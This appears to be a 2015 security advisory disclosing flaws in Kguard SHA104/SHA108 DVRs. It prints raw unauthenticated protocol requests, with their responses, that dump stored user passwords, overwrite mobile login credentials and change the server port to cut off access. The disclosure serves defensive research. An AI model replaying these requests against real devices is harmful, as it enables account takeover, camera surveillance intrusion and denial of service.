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Kguard SHA104 / SHA108 Bypass / Command Injection

Kguard SHA104 / SHA108 Bypass / Command Injection
Posted Mar 10, 2015
Authored by Federick Joe P Fajardo

Kguard SHA104 and SHA108 DVRs suffer from command injection, insufficient authentication and authorization, password disclosure, denial of service, and missing transport security vulnerabilities.

tags | exploit, denial of service, vulnerability, info disclosure
SHA-256 | 23f967513908ed1865432be70dd6383e588399ac116ed776c4f95b7a093d52b3

Kguard SHA104 / SHA108 Bypass / Command Injection

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MULTIPLE VULNERABILITIES WITH KGUARD DIGITAL VIDEO RECORDERS, February 10, 
2015

PRODUCT DESCRIPTION

The Kguard SHA104 & SHA108 are 4ch/8ch H.264 DVRs designed for economical
application. It's stylish & streamlines hardware design and excellent
performance can be fast moving, competitive and an ideal solution for
entry level & distribution channels.

VENDOR REFERENCE:
http://us.kworld-global.com/main/prod_in.aspx?mnuid=1306&modid=10&prodid=527

VULNERABILITY DESCRIPTION

1. Insufficient authentication and authorization

A deficiency in handling authentication and authorization has been found
with Kguard 104/108 models. While password-based authentication is used by
the ActiveX component to protect the login page, all the communication to
the application server at port 9000 allows data to be communicated
directly with insufficient or improper authorization.
The request HI_SRDK_SYS_USERMNG_GetUserList for example will show all the
usernames in the system together with their passwords. The below example
is an actual unmodified request and response by the server.

REMOTE HI_SRDK_SYS_USERMNG_GetUserList MCTP/1.0
CSeq:6
Accept:text/HDP
Content-Type:text/HDP
Func-Version:0x10
Content-Length:51
3Segment-Num:1
Segment-Seq:1
Data-Length:4

VMCTP/1.0 200 OK
Content-Type:text/HDP
CSeq:6
Return-Code:0
Content-Length:2326
Segment-Num:2
Segment-Seq:1
Data-Length:2240
eric
111222
111222
admin
111222
111222
333444
333444
555666
555666
user4
user5
user6
Segment-Seq:2
Data-Length:4

An interesting request is HI_SRDK_NET_MOBILE_GetOwspAttr. If configured,
this allows mobile devices to access and monitor the cameras at port
18004. An actual unmodified request and response is shown below.

REMOTE HI_SRDK_NET_MOBILE_GetOwspAttr MCTP/1.0
CSeq:15
Accept:text/HDP
Content-Type:text/HDP
Func-Version:0x10
Content-Length:15
Segment-Num:0

VMCTP/1.0 200 OK
Content-Type:text/HDP
CSeq:15
Return-Code:0
Content-Length:161
Segment-Num:1
Segment-Seq:1
Data-Length:112
admin
111222

The password to this user can be changed easily by executing the
HI_SRDK_NET_MOBILE_SetOwspAttr request as shown below and can be saved in
memory by executing HI_SRDK_DEV_SaveFlash:

REMOTE HI_SRDK_NET_MOBILE_SetOwspAttr MCTP/1.0
CSeq:1
Accept:text/HDP
Content-Type:text/HDP
Func-Version:0x10
Content-Length:161

Segment-Num:1
Segment-Seq:1
Data-Length:112

admin.t..|A<.......n(...........111222444.eted!.p.c<.... ...
...TF..............................................

The logs from the application server can confirm that the execution was
successful:

[MCTP] [HI_MCTP_MethodProc_Remote] SUCCESS!!!!!
/home/yala/svn/D9108_MLANG_QSEE/dvr/modules/vscp/mctp/server/hi_vscp_mctp_mthdproc.c

606========================

GetNetworkState:192.168.254.200

Logs from the DVR also shows that an existing mobile device that tries to
connect on port 18004 with previous credentials stored will fail:

< StreamingServer> [ run] A
client(116) connected[2010-09-11 12:30].
< LangtaoCommProto> [ handlePacketBody] Input
buffer total length: 60
< LangtaoCommProto> [ handlePacketBody] tlv type:
41
< LangtaoCommProto> [ handlePacketBody] tlv
length: 56
< LangtaoCommProto> [ handlePacketBody] Login
request received.
< LangtaoCommProto> [ handleLoginReq] User Name:

admin Passwrod: 111222
< LangtaoCommProto> [ handleLoginReq] User name
and/or password validate fail.
< StreamingServer> [ handleRequest2] Send
response to client.
< StreamingServer> [ handleRequest2] Session
closed actively.
< StreamingServer> [ run] Handle
request fail.
----------------------- SESSION(116) END -----------------------

2. Lack of transport security

The communication to the application server is done by an unprotected
ActiveX component that is presented to the browser's initial session. The
lack of transport encryption may allow us to exploit possible request from
this component to the application server. This file is named as
HiDvrOcx.cab.

Decompiling the file will allow us to see the libraries being used:

-rw-rw-r--. 1 fjpfajardo fjpfajardo 1443576 Mar 11 2011 HiDvrOcx.ocx
-rw-rw-r--. 1 fjpfajardo fjpfajardo 1443 Mar 11 2011 HiDvrOcx.inf
-rw-rw-r--. 1 fjpfajardo fjpfajardo 27136 Mar 11 2011 HiDvrOcxESN.dll
-rw-rw-r--. 1 fjpfajardo fjpfajardo 26624 Mar 11 2011 HiDvrOcxITA.dll
-rw-rw-r--. 1 fjpfajardo fjpfajardo 26624 Mar 11 2011 HiDvrOcxBRG.dll
-rw-rw-r--. 1 fjpfajardo fjpfajardo 20992 Mar 11 2011 HiDvrOcxJPN.dll
-rw-rw-r--. 1 fjpfajardo fjpfajardo 155648 Mar 11 2011 HiDvrNet.dll
-rw-rw-r--. 1 fjpfajardo fjpfajardo 487525 Mar 11 2011 HiDvrMedia.dll

Interestingly, checking the DLL file named HiDvrNet.dll will reveal other
types of controls which can be presented to the application server as
well:

HI_SRDK_NET_MOBILE_GetOwspAttr
HI_SRDK_NET_MOBILE_SetAttr
HI_SRDK_NET_MOBILE_SetOwspAttr
HI_SRDK_NET_Network_DHCP_Client_GetAttr
HI_SRDK_NET_Network_DHCP_Client_SetAttr
HI_SRDK_NET_Network_GetDNSList
HI_SRDK_NET_Network_GetDefaultGateway
HI_SRDK_NET_Network_GetNetdevAttr
HI_SRDK_NET_Network_GetNetdevName
HI_SRDK_NET_Network_SetDNSList
HI_SRDK_NET_Network_SetDefaultGateway
HI_SRDK_NET_Network_SetNetdevAttr
HI_SRDK_NET_SetDdnsAttr
HI_SRDK_NET_SetEmailAttr
HI_SRDK_NET_SetIppreviewVodAttr
HI_SRDK_NET_SetMctpServerPort
HI_SRDK_NET_SetPppoeAttr
HI_SRDK_NET_SetWebServerPort
HI_SRDK_Open_Device
HI_SRDK_RECORDER_GetPlaybackAttr
HI_SRDK_RECORDER_GetRecordAttr
HI_SRDK_RECORDER_GetRecordSchedule
HI_SRDK_RECORDER_SetPlaybackAttr
HI_SRDK_RECORDER_SetRecordAttr
HI_SRDK_RECORDER_SetRecordSchedule
HI_SRDK_SYS_GetDaylightAttr
HI_SRDK_SYS_GetSysMaintainAttr
HI_SRDK_SYS_GetSystemAttr
HI_SRDK_SYS_SetDaylightAttr
HI_SRDK_SYS_SetSysMaintainAttr
HI_SRDK_SYS_SetSystemAttr
HI_SRDK_SYS_USERMNG_AddGroup
HI_SRDK_SYS_USERMNG_AddUser
HI_SRDK_SYS_USERMNG_DelGroup
HI_SRDK_SYS_USERMNG_DelUser
HI_SRDK_SYS_USERMNG_Disable
HI_SRDK_SYS_USERMNG_Enable
HI_SRDK_SYS_USERMNG_GetAuthorityList
HI_SRDK_SYS_USERMNG_GetGroupList
HI_SRDK_SYS_USERMNG_GetUserList
HI_SRDK_SYS_USERMNG_ModifyGroupInfo
HI_SRDK_SYS_USERMNG_ModifyUserInfo

3. Denial of Service and Command Injection

Input are not sanitized and filtered in some of the fields which may lead
to a potential passive Denial of Service and/or command injection. By
altering some requests such as HI_SRDK_NET_SetPppoeAttr,
HI_SRDK_NET_Network_DHCP_Client_SetAttr, HI_SRDK_NET_SetWebServerPort or
HI_SRDK_NET_Network_SetDefaultGateway, a malicous user may be able to
disrupt connectivity to the DVR.

REMOTE HI_SRDK_NET_SetMctpServerPort MCTP/1.0
CSeq:58
Accept:text/HDP
Content-Type:text/HDP
Func-Version:0x10
Content-Length:49
1Segment-Num:1
Segment-Seq:1
Data-Length:2

REMOTE HI_SRDK_DEV_SaveFlash MCTP/1.0
CSeq:61
Accept:text/HDP
Content-Type:text/HDP
Func-Version:0x10
Content-Length:15
Segment-Num:0

The application server that listens for incoming requests at port 9000 is
run by a binary called raysharp_dvr which suggest that the hardware
manufacturer is Zhuhai RaySharp Technology Co. While the purpose for this
vulnerability analysis is mainly for Kguard related DVR's, I believe that
other devices that use the same firmware by the manufacturer and rebranded
in the market are also vulnerable.

576 root 20696 S ./raysharp_dvr
577 root 20696 S ./raysharp_dvr
578 root 20696 S ./raysharp_dvr
579 root 20696 S ./raysharp_dvr
580 root 20696 S ./raysharp_dvr
581 root 20696 S ./raysharp_dvr
582 root 20696 S ./raysharp_dvr

Timeline:

02/07/2015 - Discovery / PoC
02/09/2015 - Reported to vendor (NR)
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